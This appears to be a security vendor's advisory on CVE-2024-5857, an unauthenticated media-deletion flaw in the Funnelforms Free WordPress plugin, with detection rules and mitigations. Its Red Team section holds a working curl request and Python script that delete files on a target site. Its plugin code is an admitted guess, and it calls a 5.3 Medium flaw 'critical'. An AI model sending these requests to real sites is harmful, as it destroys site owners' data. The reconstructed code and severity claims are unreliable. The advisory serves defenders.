CVE-2024-5857

Executive Summary

CVE-2024-5857 is a critical missing capability check vulnerability in the Funnelforms Free WordPress plugin, affecting all versions up to and including 3.7.3.2. The flaw resides in the af2_handel_file_remove AJAX action, which allows unauthenticated attackers to delete arbitrary media files from the WordPress installation. This can lead to denial of service, defacement, or data loss. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). No public exploit code or patch is currently available, but the risk is elevated due to the lack of authentication required.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: Low

The threat level is elevated due to the unauthenticated nature of the attack, allowing any remote attacker to delete media files without any privileges. While the CVSS score is medium, the potential for widespread abuse in WordPress environments makes this a high-priority issue for defenders.

Deep Dive & Mechanics

The vulnerability exists in the Funnelforms Free plugin's AJAX handler for file removal. The af2_handel_file_remove action is registered without a capability check, meaning it does not verify that the requesting user has the necessary permissions (e.g., upload_files or edit_posts) to delete media. The function likely receives a file path or attachment ID via a POST request and proceeds to delete the file from the server's filesystem or the WordPress media library.

The attack flow:

1. An unauthenticated attacker sends a POST request to /wp-admin/admin-ajax.php with action=af2_handel_file_remove and a parameter specifying the file to delete (e.g., file_id or file_path).
2. The plugin's handler executes wp_delete_attachment() or unlink() without checking user capabilities.
3. The targeted media file is permanently removed.

This can be used to delete critical files such as site logos, uploaded images, or even plugin/theme files if the path is manipulated, leading to site defacement or denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example):

add_action('wp_ajax_af2_handel_file_remove', 'af2_handle_file_remove');
add_action('wp_ajax_nopriv_af2_handel_file_remove', 'af2_handle_file_remove');

function af2_handle_file_remove() {
    $file_id = $_POST['file_id'];
    wp_delete_attachment($file_id, true);
    wp_die();
}

The missing current_user_can() check allows unauthenticated access.

Patched Code (expected fix):

add_action('wp_ajax_af2_handel_file_remove', 'af2_handle_file_remove');
// Remove the nopriv hook to require authentication

function af2_handle_file_remove() {
    if (!current_user_can('upload_files')) {
        wp_die('Unauthorized', 403);
    }
    $file_id = intval($_POST['file_id']);
    wp_delete_attachment($file_id, true);
    wp_die();
}

The patch removes the wp_ajax_nopriv_ hook and adds a capability check.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Funnelforms Free <= 3.7.3.2 installed and active.
• Knowledge of a valid media file ID (can be enumerated via /wp-json/wp/v2/media).

Exploitation Steps:

1. Identify a target media file ID (e.g., 123).
2. Send a POST request to the WordPress admin-ajax endpoint:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=af2_handel_file_remove&file_id=123"

3. The file is deleted without authentication.

Automated Script:

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
file_id = 123

response = requests.post(target, data={
    "action": "af2_handel_file_remove",
    "file_id": file_id
})

if response.status_code == 200:
    print(f"File {file_id} deleted successfully.")
else:
    print("Exploit failed.")

Blue Team

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=af2_handel_file_remove from unauthenticated sources.
• Alert on rapid deletion of multiple media files.
• Check server logs for wp_delete_attachment calls without a valid user session.

Honeypot:

• Create a dummy media file with a known ID and monitor for its deletion.
• Log all AJAX requests to af2_handel_file_remove and inspect the file_id parameter.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with body containing action=af2_handel_file_remove.
• File System: Missing media files in /wp-content/uploads/ that were previously present.
• Logs: WordPress debug log entries showing wp_delete_attachment calls without a user ID.
• Database: Deleted attachment entries in wp_posts table with post_type = 'attachment'.

Detection Engineering

YARA Rule

rule CVE_2024_5857_Funnelforms_File_Delete {
    meta:
        description = "Detects exploitation attempts for CVE-2024-5857 in Funnelforms Free plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5857"
    strings:
        $ajax_action = "af2_handel_file_remove"
        $file_param = "file_id"
    condition:
        $ajax_action and $file_param
}

Sigma Rule

title: CVE-2024-5857 Funnelforms Unauthenticated File Deletion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to WordPress admin-ajax.php with the af2_handel_file_remove action.
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /wp-admin/admin-ajax.php
        cs-uri-query|contains: action=af2_handel_file_remove
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5857 Funnelforms Unauthenticated File Deletion Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.client_body; content:"action=af2_handel_file_remove"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Add a Web Application Firewall (WAF) rule to block POST requests to /wp-admin/admin-ajax.php containing action=af2_handel_file_remove from unauthenticated users.
3. Restrict access to admin-ajax.php via .htaccess or Nginx config to only allow authenticated requests.

Long-term Fix:

• Apply the vendor patch when available (expected to add capability checks and remove the nopriv hook).
• Update to the latest version of Funnelforms Free once patched.

Workaround Code (if you must keep the plugin active): Add to your theme's functions.php:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        remove_action('wp_ajax_nopriv_af2_handel_file_remove', 'af2_handle_file_remove');
    }
});

Valters IT
Securing WordPress ecosystems, one CVE at a time.